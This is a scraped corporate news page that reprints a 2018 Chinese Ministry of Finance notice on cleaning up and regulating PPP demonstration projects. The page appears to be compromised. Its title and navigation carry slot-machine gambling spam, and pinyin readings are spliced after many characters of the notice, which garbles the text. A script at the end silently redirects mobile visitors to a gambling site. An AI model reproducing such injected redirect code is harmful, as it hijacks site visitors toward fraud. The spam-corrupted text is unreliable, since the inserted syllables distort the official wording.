千亿老虎机

中建网群(qun) | | 公司(si)办公平台 | | |
 
千亿老虎机
方程新闻
通知公告
集团新闻
专题专栏
国资动态
行业新闻
图片新闻
产业布局
千亿老虎机>> 千亿老虎机>>行业新闻
财政部关于进一步加强政府和社会资本合作(PPP)示范项目 规范管理的通知
发布(bu)日期:2018-04-27 字号:[ ]

各省、自治(zhi)区(qu)、直辖市、计划单列(lie)市财政(zheng)厅(局(ju)),新疆(jiang)生产建设兵团财政(zheng)局(ju): 

  PPP示(shi)范(fan)项(xiang)目(mu)在引导规范(fan)运作(zuo)、带动区域发(fa)展(zhan)、推(tui)动行业破冰、推(tui)广经验模式(shi)等方(fang)面发(fa)挥了积极作(zuo)用(yong)。但(dan)从近期(qi)核查情况看,部分示(shi)范(fan)项(xiang)目(mu)存在进展(zhan)缓慢、执行走样等问(wen)题。为(wei)进一步强化示(shi)范(fan)项(xiang)目(mu)规范(fan)管理,更好发(fa)挥引领带动作(zuo)用(yong),现(xian)就有关事(shi)项(xiang)通知如下: 

  一、对核查存在问题的173个示范项(xiang)目分类进行处(chu)置  

  (一)将(jiang)不再继续(xu)采(cai)用PPP模式实(shi)施的包头市立体(ti)交通综合(he)枢纽(niu)及综合(he)旅游公路等30个项(xiang)目(mu),调出示范项(xiang)目(mu)名单,并清退出全国PPP综合(he)信息平(ping)台项(xiang)目(mu)库(以(yi)下简称项(xiang)目(mu)库)。 

  (二)将尚未完(wan)成(cheng)社会资本方(fang)采购或项(xiang)目实施发生重(zhong)大变化(hua)的北京市丰台区河西(xi)第三水厂(chang)等(deng)54个项(xiang)目,调(diao)出示范项(xiang)目名单,保留在项(xiang)目库,继续采用PPP模式实施。 

  (三)对于运作模式不(bu)规范、采购程序不(bu)严谨、签约主体(ti)存在(zai)瑕(xia)疵的(de)(de)89个项(xiang)目(mu),请有(you)关(guan)省(sheng)级财(cai)政部门会同(tong)有(you)关(guan)方面抓紧督促整改,于6月(yue)底前完成。逾(yu)期仍不(bu)符合(he)相关(guan)要求的(de)(de),调出示范项(xiang)目(mu)名单(dan)或清退出项(xiang)目(mu)库。 

  地(di)方(fang)(fang)各(ge)级财政部门要(yao)会(hui)同有关(guan)部门妥(tuo)善做(zuo)好退库项目后续(xu)处置工作:对于尚未启动采(cai)购程序的(de)项目,调整完(wan)善后拟再次采(cai)用PPP模式实施(shi)(shi)的(de),应(ying)(ying)当(dang)充分做(zuo)好前期论证,按规(gui)定办(ban)理(li)入库手续(xu);无(wu)法继续(xu)采(cai)用PPP模式实施(shi)(shi)的(de),应(ying)(ying)当(dang)终(zhong)止实施(shi)(shi)或采(cai)取其(qi)他合(he)(he)(he)规(gui)方(fang)(fang)式继续(xu)推进。对于已(yi)进入采(cai)购程序或已(yi)落地(di)实施(shi)(shi)的(de)项目,应(ying)(ying)当(dang)针对核查发现(xian)的(de)问题进行整改(gai),做(zuo)到合(he)(he)(he)法合(he)(he)(he)规(gui);终(zhong)止实施(shi)(shi)的(de),应(ying)(ying)当(dang)依据法律法规(gui)和(he)合(he)(he)(he)同约定,通过友好协商或法律救济(ji)途径(jing)妥(tuo)善解(jie)决,切实维护各(ge)方(fang)(fang)合(he)(he)(he)法权益。 

  二、引以为戒,加强项(xiang)目规范管(guan)理  

  (一(yi))夯实项目(mu)前(qian)(qian)期(qi)工作。按国家有(you)关规(gui)定认真履行规(gui)划立项、土地管(guan)理、国有(you)资产审批等(deng)前(qian)(qian)期(qi)工作程序,规(gui)范开展物有(you)所(suo)值评价和财(cai)政(zheng)承受能力论(lun)证(zheng)。不(bu)(bu)得突破10%红线(xian)新上(shang)项目(mu),不(bu)(bu)得出现(xian)(xian)“先上(shang)车(che)、后补(bu)票(piao)”、专家意见缺失或造假、测算依(yi)据不(bu)(bu)统一(yi)、数据口径不(bu)(bu)一(yi)致、仅测算单个(ge)项目(mu)支(zhi)出责任(ren)等(deng)现(xian)(xian)象。 

  (二)切实(shi)履行采购(gou)程序。加强(qiang)对(dui)项目实(shi)施方案和采购(gou)文件的审查,对(dui)于采用单一来源采购(gou)方式的项目,必须符合政府(fu)采购(gou)法及其(qi)实(shi)施条例相关规定(ding)。不得(de)设置明显(xian)不合理的准(zhun)入门槛或所有(you)制(zhi)歧视条款,不得(de)未经(jing)采购(gou)程序直(zhi)接指(zhi)定(ding)第(di)三方代持社会资本方股份。 

  (三)严格(ge)审(shen)查签(qian)约主(zhu)(zhu)体。坚持政(zheng)企分(fen)开(kai)原则,加(jia)强PPP项目(mu)(mu)合(he)(he)同签(qian)约主(zhu)(zhu)体合(he)(he)规(gui)性审(shen)查,国有企业或地(di)方(fang)政(zheng)府(fu)融资(zi)(zi)平台公司不得代表(biao)政(zheng)府(fu)方(fang)签(qian)署PPP项目(mu)(mu)合(he)(he)同,地(di)方(fang)政(zheng)府(fu)融资(zi)(zi)平台公司不得作为社会(hui)资(zi)(zi)本方(fang)。 

  (四)杜绝违法违规现象。坚守(shou)合同(tong)谈判底线,加强合同(tong)内容审查,落实项目(mu)风险分配方(fang)案,合同(tong)中不(bu)得(de)约(yue)定(ding)由政府方(fang)或(huo)(huo)其(qi)指定(ding)主体回购社(she)(she)(she)会资(zi)(zi)(zi)本(ben)投(tou)资(zi)(zi)(zi)本(ben)金,不(bu)得(de)弱化或(huo)(huo)免除社(she)(she)(she)会资(zi)(zi)(zi)本(ben)的(de)投(tou)资(zi)(zi)(zi)建设运营责任,不(bu)得(de)向社(she)(she)(she)会资(zi)(zi)(zi)本(ben)承(cheng)诺最(zui)低投(tou)资(zi)(zi)(zi)回报或(huo)(huo)提供收益(yi)差额补足(zu),不(bu)得(de)约(yue)定(ding)将(jiang)项目(mu)运营责任返包给政府方(fang)出资(zi)(zi)(zi)代表承(cheng)担(dan)或(huo)(huo)另行指定(ding)社(she)(she)(she)会资(zi)(zi)(zi)本(ben)方(fang)以外(wai)的(de)第(di)三方(fang)承(cheng)担(dan)。 

  (五)强化项目(mu)履(lv)约(yue)监管(guan)。夯实(shi)社(she)会资(zi)(zi)本(ben)融(rong)资(zi)(zi)义务,密切跟(gen)踪项目(mu)公司设立和融(rong)资(zi)(zi)到(dao)位(wei)情况。不得以债务性资(zi)(zi)金充当项目(mu)资(zi)(zi)本(ben)金,政府不得为社(she)会资(zi)(zi)本(ben)或项目(mu)公司融(rong)资(zi)(zi)提供任何形式(shi)的担保(bao)(bao)。落(luo)实(shi)中长期财(cai)政规(gui)划和年度(du)预算安(an)排,加强项目(mu)绩效考(kao)核,落(luo)实(shi)按效付费机制,强化激励约(yue)束效果,确(que)保(bao)(bao)公共(gong)服务安(an)全、稳定(ding)、高效供给。 

  三、切实强(qiang)化信(xin)息公开,接受(shou)社会监(jian)督  

  (一(yi))提升信息公开质量(liang)。通过PPP综合信息平台及时(shi)、准确、完整(zheng)、充分披(pi)露示范(fan)项(xiang)目关键(jian)信息,及时(shi)上传(chuan)项(xiang)目实施方案、物(wu)有所值评价(jia)报告、财政(zheng)承受能力(li)论证报告、采购文件(jian)等重要(yao)附件(jian)及相(xiang)关批复文件(jian),保(bao)障项(xiang)目信息前后连贯、口径一(yi)致、账实相(xiang)符。 

  (二)加(jia)强(qiang)(qiang)运(yun)行情况(kuang)监测(ce)。及时更新PPP项目(mu)开(kai)发目(mu)录、财政支出(chu)责任(ren)、项目(mu)采购、项目(mu)公司(si)设立(li)、融资到(dao)位、建(jian)设进度、绩效产(chan)出(chu)、预算执(zhi)行等信息(xi),实时监测(ce)项目(mu)运(yun)行情况(kuang)、合(he)同(tong)履行情况(kuang)和项目(mu)公司(si)财务(wu)状况(kuang),强(qiang)(qiang)化风险预警与(yu)早期防控。 

  (三(san))强化(hua)咨(zi)询(xun)(xun)(xun)(xun)服(fu)务(wu)(wu)监(jian)(jian)督。全(quan)面披(pi)露参与示(shi)范项(xiang)目论证、采购、谈判等(deng)全(quan)过程咨(zi)询(xun)(xun)(xun)(xun)服(fu)务(wu)(wu)的专(zhuan)家和咨(zi)询(xun)(xun)(xun)(xun)机(ji)(ji)构信息(xi),主动接受社会监(jian)(jian)督。建立健(jian)全(quan)咨(zi)询(xun)(xun)(xun)(xun)服(fu)务(wu)(wu)绩效考核和投诉问责(ze)机(ji)(ji)制,将未妥善履行咨(zi)询(xun)(xun)(xun)(xun)服(fu)务(wu)(wu)职责(ze)或提供违法违规咨(zi)询(xun)(xun)(xun)(xun)意见的专(zhuan)家或咨(zi)询(xun)(xun)(xun)(xun)机(ji)(ji)构,及(ji)时清退出(chu)PPP专(zhuan)家库(ku)或咨(zi)询(xun)(xun)(xun)(xun)机(ji)(ji)构库(ku)。 

  四、建(jian)立(li)健全(quan)长效管理(li)机(ji)制  

  (一)落实示范(fan)(fan)项(xiang)目(mu)(mu)(mu)管(guan)理责(ze)(ze)任。各(ge)(ge)省级财(cai)(cai)政(zheng)部(bu)门(men)为辖(xia)内示范(fan)(fan)项(xiang)目(mu)(mu)(mu)管(guan)理的(de)(de)第一责(ze)(ze)任人,负(fu)(fu)责(ze)(ze)健(jian)全本地区示范(fan)(fan)项(xiang)目(mu)(mu)(mu)的(de)(de)专人负(fu)(fu)责(ze)(ze)、对口(kou)联系和跟踪指导(dao)机制,监(jian)督指导(dao)辖(xia)内市县做好(hao)示范(fan)(fan)项(xiang)目(mu)(mu)(mu)规范(fan)(fan)实施、信息(xi)公开等工(gong)作,对示范(fan)(fan)项(xiang)目(mu)(mu)(mu)实施过(guo)程中出现的(de)(de)重点、难(nan)点问题,及(ji)时向财(cai)(cai)政(zheng)部(bu)报(bao)告。示范(fan)(fan)项(xiang)目(mu)(mu)(mu)所(suo)属本级财(cai)(cai)政(zheng)部(bu)门(men)应会同(tong)行(xing)(xing)业主管(guan)部(bu)门(men)加强项(xiang)目(mu)(mu)(mu)前期论证、采(cai)购(gou)、执(zhi)行(xing)(xing)、移交等全生命周期管(guan)理,监(jian)督项(xiang)目(mu)(mu)(mu)各(ge)(ge)参与方切(qie)实履行(xing)(xing)合(he)同(tong)义务,确(que)保项(xiang)目(mu)(mu)(mu)规范(fan)(fan)运作、顺(shun)利实施。财(cai)(cai)政(zheng)部(bu)PPP中心负(fu)(fu)责(ze)(ze)全国PPP示范(fan)(fan)项(xiang)目(mu)(mu)(mu)执(zhi)行(xing)(xing)情况的(de)(de)统一指导(dao)和汇(hui)总统计。 

  (二)强化(hua)示(shi)范(fan)(fan)项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)动(dong)(dong)态管理(li)。地方各级(ji)财政(zheng)(zheng)(zheng)部(bu)门要会同有关部(bu)门加强示(shi)范(fan)(fan)项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)动(dong)(dong)态管理(li),确保项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)执行不走样。对(dui)于项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)名称、实施(shi)机构等(deng)非核(he)心(xin)(xin)条件发生(sheng)(sheng)变更的,应及(ji)时向财政(zheng)(zheng)(zheng)部(bu)PPP中(zhong)心(xin)(xin)备案(an);对(dui)于项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)合(he)作内容、总(zong)投资、运作方式、合(he)作期限等(deng)核(he)心(xin)(xin)边界(jie)条件与入选示(shi)范(fan)(fan)项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)时相(xiang)比(bi)发生(sheng)(sheng)重大变化(hua)的,应及(ji)时向财政(zheng)(zheng)(zheng)部(bu)PPP中(zhong)心(xin)(xin)申请(qing)(qing)调出(chu)(chu)示(shi)范(fan)(fan)项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)名单(dan),并对(dui)项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)实施(shi)方案(an),物有所(suo)值评价报告(gao)、财政(zheng)(zheng)(zheng)承(cheng)受能(neng)力论证报告(gao)、采购(gou)文件、项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)合(he)同等(deng)进行相(xiang)应调整、变更。因项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)规(gui)划调整、资金落(luo)实不到位等(deng)原因,不再继续采用PPP模式实施(shi)的,应及(ji)时向财政(zheng)(zheng)(zheng)部(bu)PPP中(zhong)心(xin)(xin)申请(qing)(qing)调出(chu)(chu)示(shi)范(fan)(fan)项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)名单(dan)并退出(chu)(chu)项(xiang)(xiang)(xiang)目(mu)(mu)(mu)(mu)库(ku)。 

  (三)开(kai)展示(shi)范(fan)(fan)项目(mu)(mu)定期评(ping)(ping)估。财(cai)政部PPP中(zhong)心应定期组织(zhi)第三方专业机构、专家等(deng),开(kai)展示(shi)范(fan)(fan)项目(mu)(mu)执行情(qing)况评(ping)(ping)估。评(ping)(ping)估过程中(zhong)发现示(shi)范(fan)(fan)项目(mu)(mu)存(cun)在运作不(bu)规范(fan)(fan)、实施情(qing)况发生重(zhong)大变化或信息(xi)披(pi)露不(bu)到位等(deng)问题的,应及时调出示(shi)范(fan)(fan)项目(mu)(mu)名单或清(qing)退出项目(mu)(mu)库。其(qi)中(zhong)已获得中(zhong)央财(cai)政PPP项目(mu)(mu)以奖代(dai)补资金的,由省级(ji)财(cai)政部门(men)(men)负(fu)责追回(hui)并及时上缴中(zhong)央财(cai)政。经(jing)(jing)评(ping)(ping)估效果(guo)良好的示(shi)范(fan)(fan)项目(mu)(mu),由财(cai)政部PPP中(zhong)心联合省级(ji)财(cai)政部门(men)(men)加强经(jing)(jing)验总结与(yu)案例推广。 


网站地图 | 友情链接 | 法律声明 | 联系我们 信访邮箱 帮助中心

电话:+86(10)88083699 传真:+86(10)88084266 E-MAIL:cscecfc@chatnur.com
地址:北京市海淀区三里河路15号中建大厦A座15层 邮编:100037 ICP许可证编号:京ICP备12023645号
推荐显示器分辨率1024*768 IE8.0以上浏览器

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();